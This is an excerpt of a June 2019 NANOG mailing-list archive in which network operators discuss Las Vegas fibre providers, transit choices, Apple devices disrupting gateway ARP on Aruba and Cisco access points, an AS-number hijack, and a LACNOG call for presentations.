answers regarding fibre connectivity in Starkville, MS. > Order has been placed with some of the recommended providers! > > Now the same customer asked for another 1 Gbps Layer2 service from below > address to CoreSite LA2 (https://www.peeringdb.com/fac/363). > > > > 157 E Warm Springs Rd > > Las Vegas, NV 89119, USA > > > > Hoping for some advice – who would be the best regional provider to work > with? Thanks in advance. > > > > Best regards, > > Theo Voss > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Mon Jun 10 05:22:38 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Mon, 10 Jun 2019 07:22:38 +0200 Subject: CenturyLink/Level 3 combined AS In-Reply-To: References: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> Message-ID: On 8/Jun/19 15:08, Darin Steffl wrote: > Ok just so simplify things. > > Is Cogent or CenturyLink/L3 better for transit? Generally, I'd say hook up to more than one "transit-free" provider if you must use any of them. Mark. From mark.tinka at seacom.mu Mon Jun 10 05:24:51 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Mon, 10 Jun 2019 07:24:51 +0200 Subject: CenturyLink/Level 3 combined AS In-Reply-To: <20190608102326.59914b7b@p50.localdomain> References: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> <9421da095c974103bb867aeb0c89cc3b@ex16prd04a.dpu.depaul.edu> <20190608102326.59914b7b@p50.localdomain> Message-ID: <33b0d909-be77-9507-9910-1461599aa2b7@seacom.mu> On 8/Jun/19 17:23, John Kristoff wrote: > bps pricing is rarely apples to apples, Cogent will happily tell you > that. However, you may want more than just apples. I've seen at least > three serious providers offer as good or better deals in the last year > or so. At one time they were unbeatable from a sheer price perspective, > but in my more recent experience, this is no longer true. Price is so low right now (especially if you are willing to settle on the large providers) that it's six and half-a-dozen if you want to use that as a decision factor. Mark. From lathama at gmail.com Mon Jun 10 16:42:19 2019 From: lathama at gmail.com (Andrew Latham) Date: Mon, 10 Jun 2019 11:42:19 -0500 Subject: Heroku Contact Message-ID: Could a Heroku NOC member connect with me off-list for a unique issue that I would like to confirm for $DAYJOB that might be of interest? I looked at the support contact pages and got lost. -- - Andrew "lathama" Latham - -------------- next part -------------- An HTML attachment was scrubbed... URL: From sean at donelan.com Mon Jun 10 17:58:01 2019 From: sean at donelan.com (Sean Donelan) Date: Mon, 10 Jun 2019 13:58:01 -0400 (EDT) Subject: Network Resiliency for Small and Rural Providers Message-ID: Reminder: Next week on Monday, June 17, 2019 webinar on network resiliency for small and rual providers hosted by the FCC. https://www.fcc.gov/small-rural-communications-provider-network-resiliency-webinar The Public Safety and Homeland Security Bureau, in coordination with the Office of Communications Business Opportunities (OCBO) and the Wireline Competition Bureau, will host a webinar to discuss available resources and best practices for small and rural communications providers regarding network reliability and security. This event is online only. Participants may register and join this webinar on the day of the event using the information provided below. sort by Network Resiliency for Small and Rural Providers Monday, June 17, 2019 11:00 am | Eastern Daylight Time (New York, GMT-4:00) | 1 Hr. 10 Min. Meeting Number: 649 559 606 Meeting Password: QpNPMJj6 From jared at compuwizz.net Mon Jun 10 18:05:26 2019 From: jared at compuwizz.net (Jared Geiger) Date: Mon, 10 Jun 2019 11:05:26 -0700 Subject: Fibre provider in Las Vegas, NV In-Reply-To: References: <6D53C936-4FF3-46D5-BC19-CB1F064D9BA3@theo-voss.de> Message-ID: Zayo has a lot of metro fiber in Vegas if you don't want to go with Centurylink or Cox. Zayo sales will probably be more familiar with a layer 2 circuit than the other local business sales groups. Alternatively you could get a local loop over to EdgeConnex and pick up PacketFabric there that can get you to LA or anywhere pretty easily and cheaply. PacketFabric may also be able to do the local loop procurement for you too. On Sun, Jun 9, 2019 at 3:06 PM Eric Kuhnke wrote: > I would talk to the SWITCH NAP sales people in Las Vegas. They're a > datacenter/colo/rack and power place, but every worthwhile last mile, > facilities based fiber provider in the Vegas metro area likely has a POP in > their facility. > > This would mean they could put you in contact with the carrier sales > people at the local loop providers fairly easily. > > > > > > On Sat, Jun 8, 2019 at 7:45 PM Theo Voss wrote: > >> Hi NANOG, >> >> >> >> thanks for your answers regarding fibre connectivity in Starkville, MS. >> Order has been placed with some of the recommended providers! >> >> Now the same customer asked for another 1 Gbps Layer2 service from below >> address to CoreSite LA2 (https://www.peeringdb.com/fac/363). >> >> >> >> 157 E Warm Springs Rd >> >> Las Vegas, NV 89119, USA >> >> >> >> Hoping for some advice – who would be the best regional provider to work >> with? Thanks in advance. >> >> >> >> Best regards, >> >> Theo Voss >> > -------------- next part -------------- An HTML attachment was scrubbed... URL: From wwwboy at gmail.com Tue Jun 11 03:45:55 2019 From: wwwboy at gmail.com (www boy) Date: Tue, 11 Jun 2019 13:45:55 +1000 Subject: Apple devices spoofing default gateway? In-Reply-To: References: <20190607190056.GA5355@bamboo.slabnet.com> <46B91904-EE53-49AB-84D5-94823FC2D8C1@rivervalleyinternet.net> Message-ID: Good day Matt, We have a combination of IAP-135 and IAP-125's , we are running a older firmware (yeah i know it needs updating something for next month or so) Worst luck I couldnt work out how to modify local arp caches on the access points. I have just enabled "Deny inter user bridging" and that seems to have stopped the network from crashing when a client steals the router IP. (this solution may not be the best for some environments tho) Worst luck Apple is being very slow with a solution and even admitting there is a issue. But I just wanted to make sure i updated this thread so at least people in the future can find it when they google. If anyone else has any good ideas or solutions let me know. I am keen to try the latest firmware to see if that has any other features that might prevent this. Regards, Mike On Sat, Jun 8, 2019 at 5:59 AM Matt Freitag wrote: > For those of us with Aruba wireless, www boy, could you share some more > info about your setup/code version/configuration/specific APs/controller > model(s)/etc? > > Matt Freitag > Network Engineer > Michigan Tech IT > Michigan Technological University > > We can help. > mtu.edu/it > (906) 487-1111 > > > On Fri, Jun 7, 2019 at 3:06 PM Matt Hoppes < > mattlists at rivervalleyinternet.net> wrote: > >> Turn on client isolation on the access points? >> >> > On Jun 7, 2019, at 3:00 PM, Hugo Slabbert wrote: >> > >> > >> >> On Fri 2019-Jun-07 16:21:29 +1000, www boy wrote: >> >> >> >> I just joined nanog to allow me to respond to a thread that Simon >> posted in >> >> March. . >> >> (Not sure if this is how to respond) >> >> >> >> We have the exact same problem with Aruba Access points and with >> multiple >> >> MacBooks and a iMac. >> >> Where the device will spoof the default gateway and the effect is that >> vlan >> >> is not usable. >> >> >> >> I also have raised a case with Apple but so far no luck. >> >> >> >> What is the status of your issue? Any luck working out exactly what >> the >> >> cause is? >> > >> > We appeared to hit this with Cisco kit: >> > >> https://www.cisco.com/c/en/us/support/docs/wireless/aironet-3800-series-access-points/214491-arp-responses-for-default-gateway-ip-add.html >> > >> > They don't say *exactly* that the Apple devices are spoofing the >> gateway, but some behaviour in what they send out results in the proxy arp >> being performed by the APs to update the ARP entry for the gateway address >> to the clients': >> > >> >> * This is not a malicious attack, but triggered by an interaction >> between the macOS device while in sleeping mode, and specific broadcast >> traffic generated by newer Android devices >> >> * AP-COS while in FlexConnect mode provides Proxy ARP (ARP caching) >> services by default. Due to their address learning design, they will >> modify table entries based on this traffic leading to default gateway ARP >> entry modification >> > >> > The fix was to disable ARP caching on the APs so they don't proxy ARP >> but ARP replies pass directly between client devices. >> > >> > -- >> > Hugo Slabbert | email, xmpp/jabber: hugo at slabnet.com >> > pgp key: B178313E | also on Signal >> > -------------- next part -------------- An HTML attachment was scrubbed... URL: From noc.hernan at gmail.com Tue Jun 11 17:48:54 2019 From: noc.hernan at gmail.com (Hernan Moguilevsky) Date: Tue, 11 Jun 2019 14:48:54 -0300 Subject: Fwd: [lacnog] Call for Presentations - LACNOG 2019 In-Reply-To: References: Message-ID: HI NANOG, LACNOG 2019 call for presentations is open. Regards. HM ---------- Forwarded message --------- De: Jorge Villa Date: jue., 6 de jun. de 2019 a la(s) 14:49 Subject: [lacnog] Call for Presentations - LACNOG 2019 To: Latin America and Caribbean Region Network Operators Group < lacnog at lacnic.net> LACNOG 2019 - Call for Presentations http://www.lacnog.org/eventos/ LACNOG, the Latin American and Caribbean Network Operators Group, will hold its 2019 conference in the city of Panama from 7 to 11 October 2019, co-located with the LACNIC 32 event. The LACNOG 2019 Program Committee is pleased to invite the Internet community to submit their proposals for the event. In line with the spirit of LACNOG, proposed topics must be geared towards regional Internet development. The following is a non-exhaustive list of some of the topics of interest for the LACNOG 2019 meeting: • Network operation and professional experiences, success stories • Internet of Things • MANRS • Community networks • IPv6 integration and deployment • Experiences with botnets, malware, spam, viruses, denial of service attacks and exploit techniques • IP network architecture, sizing, configuration and administration • Routing and switching protocols, including unicast, multicast, anycast, SDN, etc. • Applications for end users (e.g. e-mail, HTTP, DNS, NFVs, etc.) • Value-added services such as VPNs, distributed systems, cloud computing, etc. • Peering, Internet traffic exchange, IXPs • Network data security and management, attack mitigation • Network monitoring, performance, measurements and telemetry • Network automation, evolution and convergence • Infrastructure and physical transport, including optical and wireless networks • Legislation, regulations and Internet governance issues • Research and education Possible presentation formats include: • Lightning talk: brief, 10-minute presentation plus 5 additional minutes for questions • Presentation: 20-minute presentation plus 10 additional minutes for questions • Tutorial: 45-minute presentation plus 15 additional minutes for questions Deadlines for the 2019 call for proposals will be as follows: • Reception of proposals: 6 June - 7 July 2019 • Proposals will be accepted until: 7 July 2019 at 23:59 UTC-3 (Uruguay time) • Evaluation by the Program Committee: 7-18 July 2019 • Announcement of results: 18 July 2019 • Deadline for submitting final presentations: 1 August - 21 September 2019 • Final presentations will be accepted until: 21 September 2019 at 23:59 UTC-3 (Uruguay time) • Event date: 7-11 October 2019 Applicants must submit a summary and a draft of their proposal along with a brief biography and photograph using the form available at http://www.lacnog.org/eventos/lacnog2019/cfp/. If your work is selected, you authorize LACNOG and LACNIC to publish your name, photograph, biography, and final work in the event program. Regardless of the chosen format, all works must be presented in person at the event venue. Applicants whose proposals are accepted will be exempted from paying the event registration fee but will not automatically receive financial assistance for their travel and/or accommodation expenses. However, LACNIC has a fellowship program to which speakers can apply independently to obtain financial assistance to attend the event. When submitting your draft to the LACNOG Program Committee, please specify whether you are applying for a LACNIC fellowship. Speakers presenting their work at the LACNOG 2019 conference will receive a certificate acknowledging their participation. For more information, go to http://www.lacnog.org/guiapresentaciones/. Communications with the Program Committee will be handled through pc at lacnog.org. We thank you in advance for your attention and look forward to your proposals for LACNOG 2019. The Program Committee _______________________________________________ LACNOG mailing list LACNOG at lacnic.net https://mail.lacnic.net/mailman/listinfo/lacnog Cancelar suscripcion: https://mail.lacnic.net/mailman/options/lacnog -------------- next part -------------- An HTML attachment was scrubbed... URL: From ricpatara at gmail.com Tue Jun 11 19:09:20 2019 From: ricpatara at gmail.com (Ricardo Patara) Date: Tue, 11 Jun 2019 16:09:20 -0300 Subject: Fwd: [lacnog] Call for Presentations - LACNOG 2019 In-Reply-To: References: Message-ID: Taking the opportunity. There are opportunities to sponsor the event as well. If interested, send an email to patrocinios at nog.lat regards, Em 11/06/2019 14:48, Hernan Moguilevsky escreveu: > HI NANOG, > > LACNOG 2019 call for presentations is open. > Regards. > > HM > > > ---------- Forwarded message --------- > De: *Jorge Villa* > > Date: jue., 6 de jun. de 2019 a la(s) 14:49 > Subject: [lacnog] Call for Presentations - LACNOG 2019 > To: Latin America and Caribbean Region Network Operators Group > > > > > LACNOG 2019 - Call for Presentations
 > http://www.lacnog.org/eventos/ > > LACNOG, the Latin American and Caribbean Network Operators Group, will > hold its 2019 conference in the city of Panama from 7 to 11 October > 2019, co-located with the LACNIC 32 event.
The LACNOG 2019 Program > Committee is pleased to invite the Internet community to submit their > proposals for the event. > > In line with the spirit of LACNOG, proposed topics must be geared > towards regional Internet development. The following is a non-exhaustive > list of some of the topics of interest for the LACNOG 2019 meeting: > > •       Network operation and professional experiences, success stories > •       Internet of Things > •       MANRS > •       Community networks > •       IPv6 integration and deployment > •       Experiences with botnets, malware, spam, viruses, denial of > service attacks and exploit techniques > •       IP network architecture, sizing, configuration and administration > •       Routing and switching protocols, including unicast, multicast, > anycast, SDN, etc. > •       Applications for end users (e.g. e-mail, HTTP, DNS, NFVs, etc.) > •       Value-added services such as VPNs, distributed systems, cloud > computing, etc. > •       Peering, Internet traffic exchange, IXPs > •       Network data security and management, attack mitigation > •       Network monitoring, performance, measurements and telemetry > •       Network automation, evolution and convergence > •       Infrastructure and physical transport, including optical and > wireless networks > •       Legislation, regulations and Internet governance issues > •       Research and education > > Possible presentation formats include: > > •       Lightning talk: brief, 10-minute presentation plus 5 additional > minutes for questions > •       Presentation: 20-minute presentation plus 10 additional minutes > for questions > •       Tutorial: 45-minute presentation plus 15 additional minutes for > questions > > Deadlines for the 2019 call for proposals will be as follows: > > •       Reception of proposals: 6 June - 7 July 2019 > •       Proposals will be accepted until: 7 July 2019 at 23:59 UTC-3 > (Uruguay time) > •       Evaluation by the Program Committee: 7-18 July 2019 > •       Announcement of results: 18 July 2019 > •       Deadline for submitting final presentations: 1 August - 21 > September 2019 > •       Final presentations will be accepted until: 21 September 2019 at > 23:59 UTC-3 (Uruguay time) > •       Event date: 7-11 October 2019 > > Applicants must submit a summary and a draft of their proposal along > with a brief biography and photograph using the form available at > http://www.lacnog.org/eventos/lacnog2019/cfp/. > > If your work is selected, you authorize LACNOG and LACNIC to publish > your name, photograph, biography, and final work in the event program. > > Regardless of the chosen format, all works must be presented in person > at the event venue. > > Applicants whose proposals are accepted will be exempted from paying the > event registration fee but will not automatically receive financial > assistance for their travel and/or accommodation expenses. However, > LACNIC has a fellowship program to which speakers can apply > independently to obtain financial assistance to attend the event. When > submitting your draft to the LACNOG Program Committee, please specify > whether you are applying for a LACNIC fellowship. > > Speakers presenting their work at the LACNOG 2019 conference will > receive a certificate acknowledging their participation. > > For more information, go to http://www.lacnog.org/guiapresentaciones/. > > Communications with the Program Committee will be handled through > pc at lacnog.org . > > We thank you in advance for your attention and look forward to your > proposals for LACNOG 2019. > > The Program Committee > > > _______________________________________________ > LACNOG mailing list > LACNOG at lacnic.net > https://mail.lacnic.net/mailman/listinfo/lacnog > Cancelar suscripcion: https://mail.lacnic.net/mailman/options/lacnog From source_route at yahoo.com Wed Jun 12 16:05:58 2019 From: source_route at yahoo.com (Philip Lavine) Date: Wed, 12 Jun 2019 16:05:58 +0000 (UTC) Subject: someone is using my AS number References: <445152232.233377.1560355558439.ref@mail.yahoo.com> Message-ID: <445152232.233377.1560355558439@mail.yahoo.com> What is the procedure to have another party to cease and desist in using my AS number? Thx -------------- next part -------------- An HTML attachment was scrubbed... URL: From david at xtom.com Wed Jun 12 16:10:00 2019 From: david at xtom.com (David Guo) Date: Wed, 12 Jun 2019 16:10:00 +0000 Subject: someone is using my AS number In-Reply-To: <445152232.233377.1560355558439@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com>, <445152232.233377.1560355558439@mail.yahoo.com> Message-ID: Send abuse complaint to the upstreams Get Outlook for iOS ________________________________ From: NANOG on behalf of Philip Lavine via NANOG Sent: Thursday, June 13, 2019 12:05:58 AM To: NANOG List Subject: someone is using my AS number What is the procedure to have another party to cease and desist in using my AS number? Thx -------------- next part -------------- An HTML attachment was scrubbed... URL: From fhr at fhrnet.eu Wed Jun 12 16:12:32 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Wed, 12 Jun 2019 16:12:32 +0000 Subject: someone is using my AS number In-Reply-To: <445152232.233377.1560355558439@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> Message-ID: <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> Contact the offending upstreams. Filip On 12 June 2019 6:05:58 pm GMT+02:00, Philip Lavine via NANOG wrote: >What is the procedure to have another party to cease and desist in >using my AS number? >Thx -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From source_route at yahoo.com Wed Jun 12 16:20:42 2019 From: source_route at yahoo.com (Philip Lavine) Date: Wed, 12 Jun 2019 16:20:42 +0000 (UTC) Subject: someone is using my AS number In-Reply-To: <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> Message-ID: <1005617293.268763.1560356442291@mail.yahoo.com> yeah I did they are some MSP in India. No help. On Wednesday, June 12, 2019, 9:15:51 AM PDT, Filip Hruska wrote: Contact the offending upstreams. Filip On 12 June 2019 6:05:58 pm GMT+02:00, Philip Lavine via NANOG wrote: What is the procedure to have another party to cease and desist in using my AS number? Thx -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From fhr at fhrnet.eu Wed Jun 12 16:23:42 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Wed, 12 Jun 2019 16:23:42 +0000 Subject: someone is using my AS number In-Reply-To: <1005617293.268763.1560356442291@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> Message-ID: <0102016b4c8091ec-cc991677-9247-4de0-b4de-630d694c4b93-000000@eu-west-1.amazonses.com> I would contact upstreams of the upstream then. This is quite a serious offence and they should help you. Regards, Filip On 12 June 2019 6:20:42 pm GMT+02:00, Philip Lavine wrote: > yeah I did they are some MSP in India. No help. > >On Wednesday, June 12, 2019, 9:15:51 AM PDT, Filip Hruska > wrote: > > Contact the offending upstreams. > >Filip > >On 12 June 2019 6:05:58 pm GMT+02:00, Philip Lavine via NANOG > wrote: >What is the procedure to have another party to cease and desist in >using my AS number? >Thx > > >-- >Sent from my Android device with K-9 Mail. Please excuse my brevity. -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ross at tajvar.io Wed Jun 12 16:24:01 2019 From: ross at tajvar.io (Ross Tajvar) Date: Wed, 12 Jun 2019 12:24:01 -0400 Subject: someone is using my AS number In-Reply-To: <1005617293.268763.1560356442291@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> Message-ID: Maybe try contacting the RIR? On Wed, Jun 12, 2019, 12:23 PM Philip Lavine via NANOG wrote: > yeah I did they are some MSP in India. No help. > > On Wednesday, June 12, 2019, 9:15:51 AM PDT, Filip Hruska > wrote: > > > Contact the offending upstreams. > > Filip > > On 12 June 2019 6:05:58 pm GMT+02:00, Philip Lavine via NANOG < > nanog at nanog.org> wrote: > > What is the procedure to have another party to cease and desist in using > my AS number? > > Thx > > > -- > Sent from my Android device with K-9 Mail. Please excuse my brevity. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From morrowc.lists at gmail.com Wed Jun 12 16:24:53 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 12 Jun 2019 09:24:53 -0700 Subject: someone is using my AS number In-Reply-To: <1005617293.268763.1560356442291@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> Message-ID: details help here, and perhaps folk who peer with the upstreams can just reject routes with your as in them... if, you know, we knew what that was :) On Wed, Jun 12, 2019 at 9:21 AM Philip Lavine via NANOG wrote: > > yeah I did they are some MSP in India. No help. > > On Wednesday, June 12, 2019, 9:15:51 AM PDT, Filip Hruska wrote: > > > Contact the offending upstreams. > > Filip > > On 12 June 2019 6:05:58 pm GMT+02:00, Philip Lavine via NANOG wrote: > > What is the procedure to have another party to cease and desist in using my AS number? > > Thx > > > -- > Sent from my Android device with K-9 Mail. Please excuse my brevity. From job at ntt.net Wed Jun 12 16:27:28 2019 From: job at ntt.net (Job Snijders) Date: Wed, 12 Jun 2019 12:27:28 -0400 Subject: someone is using my AS number In-Reply-To: <0102016b4c8091ec-cc991677-9247-4de0-b4de-630d694c4b93-000000@eu-west-1.amazonses.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> <0102016b4c8091ec-cc991677-9247-4de0-b4de-630d694c4b93-000000@eu-west-1.amazonses.com> Message-ID: Can you share more details? Perhaps we can put the human social network to good use. Other than that this is annoying - are right now operationally impacted? Kind regards, Job On Wed, Jun 12, 2019 at 12:24 Filip Hruska wrote: > I would contact upstreams of the upstream then. This is quite a serious > offence and they should help you. > > Regards, > Filip > > > On 12 June 2019 6:20:42 pm GMT+02:00, Philip Lavine < > source_route at yahoo.com> wrote: >> >> yeah I did they are some MSP in India. No help. >> >> On Wednesday, June 12, 2019, 9:15:51 AM PDT, Filip Hruska >> wrote: >> >> >> Contact the offending upstreams. >> >> Filip >> >> On 12 June 2019 6:05:58 pm GMT+02:00, Philip Lavine via NANOG < >> nanog at nanog.org> wrote: >> >> What is the procedure to have another party to cease and desist in using >> my AS number? >> >> Thx >> >> > -- > Sent from my Android device with K-9 Mail. Please excuse my brevity. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog-post at rsuc.gweep.net Wed Jun 12 16:37:26 2019 From: nanog-post at rsuc.gweep.net (Joe Provo) Date: Wed, 12 Jun 2019 12:37:26 -0400 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> Message-ID: <20190612163726.GA56607@gweep.net> On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: > Send abuse complaint to the upstreams ...and then name & shame publicly. AS-path forgery "for TE" was never a good idea. Sharing the affected prefix[es]/path[s] would be good. -- Posted from my personal account - see X-Disclaimer header. Joe Provo / Gweep / Earthling From cabo at tzi.org Wed Jun 12 16:46:21 2019 From: cabo at tzi.org (Carsten Bormann) Date: Wed, 12 Jun 2019 18:46:21 +0200 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> Message-ID: On Jun 12, 2019, at 18:10, David Guo via NANOG wrote: > > Send abuse complaint to the upstreams > > Get Outlook for iOS Yes, but which of these is more effective? SCNR Grüße, Carsten From matt at netfire.net Wed Jun 12 16:53:41 2019 From: matt at netfire.net (Matt Harris) Date: Wed, 12 Jun 2019 11:53:41 -0500 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> Message-ID: On Wed, Jun 12, 2019 at 11:46 AM Carsten Bormann wrote: > On Jun 12, 2019, at 18:10, David Guo via NANOG wrote: > > > > Send abuse complaint to the upstreams > > > > Get Outlook for iOS > > Yes, but which of these is more effective? > With some upstreams, I wonder if getting Outlook for iOS might not be just as effective as contacting them... -------------- next part -------------- An HTML attachment was scrubbed... URL: From mehmet at akcin.net Wed Jun 12 16:54:10 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Wed, 12 Jun 2019 12:54:10 -0400 Subject: someone is using my AS number In-Reply-To: <445152232.233377.1560355558439@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> Message-ID: What is your ASN? On Wed, Jun 12, 2019 at 12:08 PM Philip Lavine via NANOG wrote: > What is the procedure to have another party to cease and desist in using > my AS number? > > Thx > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jordi.palet at consulintel.es Wed Jun 12 16:58:55 2019 From: jordi.palet at consulintel.es (JORDI PALET MARTINEZ) Date: Wed, 12 Jun 2019 18:58:55 +0200 Subject: contacts for two abuse cases - cloudstar.is and heficed.com Message-ID: <9CC9369E-1360-40B2-80D1-3EA61A159613@consulintel.es> We are getting since several weeks ago, intrusion attempts via SIP (among others) from: 1) cloudstar.is - They are not responding at all. 2) heficed.com - The people responding is "unable" to resolve it. In both cases the attacks come from different IP addresses. So, anyone has a "realiable" contact or each case that may be useful to resolve the problems? Thanks in advance! Regards, Jordi @jordipalet ********************************************** IPv4 is over Are you ready for the new Internet ? http://www.theipv6company.com The IPv6 Company This electronic message contains information which may be privileged or confidential. The information is intended to be for the exclusive use of the individual(s) named above and further non-explicilty authorized disclosure, copying, distribution or use of the contents of this information, even if partially, including attached files, is strictly prohibited and will be considered a criminal offense. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, even if partially, including attached files, is strictly prohibited, will be considered a criminal offense, so you must reply to the original sender to inform about this communication and delete it. From source_route at yahoo.com Wed Jun 12 17:57:52 2019 From: source_route at yahoo.com (Philip Lavine) Date: Wed, 12 Jun 2019 17:57:52 +0000 (UTC) Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> <0102016b4c8091ec-cc991677-9247-4de0-b4de-630d694c4b93-000000@eu-west-1.amazonses.com> Message-ID: <539611484.329673.1560362272716@mail.yahoo.com> Here is what I got from BGPMon- MY AS is 15053 Detected new prefix: 134.37.2.0/23 Update time: 2019-06-11 17:58 (UTC) Detected by #peers: 70 Announced by: AS15053 (ROLL-GLOBAL-LLC - Roll Global LLC, US) Upstream AS: AS15001 (ITCONVERGENCE-COM - IT Convergence Inc., US) ASpath: 394256 174 702 25213 25213 25213 15001 15053 I tried contacting the upstream provider and they were no help :Contact - IT Convergence | | | | | | | | | | | Contact - IT Convergence Contact us today to learn more about how your business can benefit by partnering with IT Convergence. | | | On Wednesday, June 12, 2019, 9:34:16 AM PDT, Job Snijders wrote: Can you share more details? Perhaps we can put the human social network to good use. Other than that this is annoying - are right now operationally impacted? Kind regards, Job On Wed, Jun 12, 2019 at 12:24 Filip Hruska wrote: I would contact upstreams of the upstream then. This is quite a serious offence and they should help you. Regards, Filip On 12 June 2019 6:20:42 pm GMT+02:00, Philip Lavine wrote: yeah I did they are some MSP in India. No help. On Wednesday, June 12, 2019, 9:15:51 AM PDT, Filip Hruska wrote: Contact the offending upstreams. Filip On 12 June 2019 6:05:58 pm GMT+02:00, Philip Lavine via NANOG wrote: What is the procedure to have another party to cease and desist in using my AS number? Thx -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ximaera at gmail.com Wed Jun 12 18:05:52 2019 From: ximaera at gmail.com (=?UTF-8?Q?T=C3=B6ma_Gavrichenkov?=) Date: Wed, 12 Jun 2019 21:05:52 +0300 Subject: someone is using my AS number In-Reply-To: <539611484.329673.1560362272716@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> <0102016b4c8091ec-cc991677-9247-4de0-b4de-630d694c4b93-000000@eu-west-1.amazonses.com> <539611484.329673.1560362272716@mail.yahoo.com> Message-ID: Our records show this happened yesterday and lasted before 2019-06-11 20:24:00, for 2.5 hours total. Maybe that was just by accident. I'm sort of confused why you're speaking of some ISPs in India. The incident was more or less local to Finland, wasn't it? -- Töma From job at ntt.net Wed Jun 12 18:09:43 2019 From: job at ntt.net (Job Snijders) Date: Wed, 12 Jun 2019 18:09:43 +0000 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> <0102016b4c8091ec-cc991677-9247-4de0-b4de-630d694c4b93-000000@eu-west-1.amazonses.com> <539611484.329673.1560362272716@mail.yahoo.com> Message-ID: Indeed, I do not see this in the our current version of the Default-Free Zone, so there may not be a problem for us to solve at this moment. I think your reaching out to NANOG or other operator forums is the correct action. Someone is bound to know someone who knows someone who can help. Kind regards, Job On Wed, Jun 12, 2019 at 6:06 PM Töma Gavrichenkov wrote: > > Our records show this happened yesterday and lasted before 2019-06-11 > 20:24:00, for 2.5 hours total. Maybe that was just by accident. > > I'm sort of confused why you're speaking of some ISPs in India. The > incident was more or less local to Finland, wasn't it? > > -- > Töma From source_route at yahoo.com Wed Jun 12 18:10:16 2019 From: source_route at yahoo.com (Philip Lavine) Date: Wed, 12 Jun 2019 18:10:16 +0000 (UTC) Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> <0102016b4c8091ec-cc991677-9247-4de0-b4de-630d694c4b93-000000@eu-west-1.amazonses.com> <539611484.329673.1560362272716@mail.yahoo.com> Message-ID: <1256779798.313848.1560363016433@mail.yahoo.com> I talked to the upstream provider on AS 1500. I called the telephone number on the abuse record on ARIN and it went to a MSP in India. On Wednesday, June 12, 2019, 11:06:13 AM PDT, Töma Gavrichenkov wrote: Our records show this happened yesterday and lasted before 2019-06-11 20:24:00, for 2.5 